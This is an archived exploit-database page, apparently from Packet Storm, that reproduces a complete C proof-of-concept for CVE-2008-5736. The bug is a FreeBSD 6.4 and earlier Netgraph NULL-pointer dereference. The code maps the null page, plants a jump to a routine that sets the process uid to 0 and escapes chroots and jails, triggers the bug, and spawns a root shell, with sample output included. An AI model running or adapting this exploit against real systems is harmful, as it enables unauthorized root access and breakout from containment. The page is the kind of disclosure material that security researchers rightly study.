Lucene search

K
packetstormZx2c4PACKETSTORM:99146
HistoryMar 10, 2011 - 12:00 a.m.

FreeBSD 6.4 Netgraph Privilege Escalation

2011-03-1000:00:00
zx2c4
packetstormsecurity.com
22

0.0004 Low

EPSS

Percentile

10.5%

`/*  
* FreeBSD <= 6.4-RELEASE Netgraph Exploit  
* by zx2c4  
*  
*  
* This is an exploit for CVE-2008-5736, the FreeBSD protosw  
* and loosely based on Don Bailey's 2008 exploit -  
* http://www.exploit-db.com/exploits/7581/ . The thing with  
* Don's exploit is that it relies on having a known location  
* of allproc, which means having access to the kernel or  
* debugging symbols, either of which might not be available.  
* Initial attempts included a general memory search for some  
* characteristics of allproc, but this was difficult to make  
* reliable. This solution here is a much more standard - get  
* the current thread, change its permissions, and execl to  
* shell. Additionally, it breaks out of chroots and freebsd  
* jails by reparenting to pid 1 and copying its fds.  
*  
* This reliably works on kernels on or below 6.4-RELEASE:  
*  
* $ gcc a.c  
* $ ./a.out  
* ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~  
* ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~  
* ~~~~~ greetz to don bailey, edemveiss ~~~~~  
*  
* [+] mmapping null page  
* [+] adding jmp to pwnage in null page  
* [+] opening netgraph socket  
* [+] triggering null dereference  
* [+] elevating permissions  
* [+] got root!  
* #  
*  
* It's an oldie, but simple enough that someone needed  
* to write another PoC exploit at some point.  
*  
* cheers,  
* zx2c4, 27-2-2011  
*  
*/  
  
#define _KERNEL  
#include <sys/types.h>  
#include <sys/time.h>  
#include <sys/param.h>  
#include <sys/proc.h>  
#include <sys/ucred.h>  
#include <sys/mman.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <sys/filedesc.h>  
#include <sys/queue.h>  
#include <netgraph/ng_socket.h>  
#include <stdio.h>  
#include <fcntl.h>  
#include <unistd.h>  
  
#define PAGES 1  
  
  
volatile int got_root = 0;  
int root(void)  
{  
struct thread *thread;  
asm(  
"movl %%fs:0, %0"  
: "=r"(thread)  
);  
thread->td_critnest = 0;  
thread->td_proc->p_ucred->cr_uid = 0;  
thread->td_proc->p_ucred->cr_prison = NULL;  
  
struct proc *parent = thread->td_proc;  
while (parent->p_pptr && parent->p_pid != 1)  
parent = parent->p_pptr;  
thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;  
thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;  
thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;  
thread->td_proc->p_pptr = parent;  
  
got_root = 1;  
return 0;  
}  
  
int main(int argc, char *argv[])  
{  
printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");  
printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");  
printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");  
  
printf("[+] mmapping null page\n");  
if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {  
perror("[-] mmap failed");  
return -1;  
}  
  
printf("[+] adding jmp to pwnage in null page\n");  
*(char*)0x0 = 0x90;  
*(char*)0x1 = 0xe9;  
*(unsigned long*)0x2 = (unsigned long)&root;  
  
printf("[+] opening netgraph socket\n");  
int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);  
if (s < 0) {  
perror("[-] failed to open netgraph socket");  
return -1;  
}  
  
printf("[+] triggering null dereference\n");  
shutdown(s, SHUT_RDWR);  
  
if (!got_root) {  
printf("[-] failed to trigger pwnage\n");  
return -1;  
}  
  
printf("[+] elevating permissions\n");  
setuid(0);   
setgid(0);  
if (getuid() != 0) {  
printf("[-] failed to get root\n");  
return -1;  
}  
  
printf("[+] got root!\n");  
execl("/bin/sh", "sh", NULL);  
  
return 0;  
}  
  
`

0.0004 Low

EPSS

Percentile

10.5%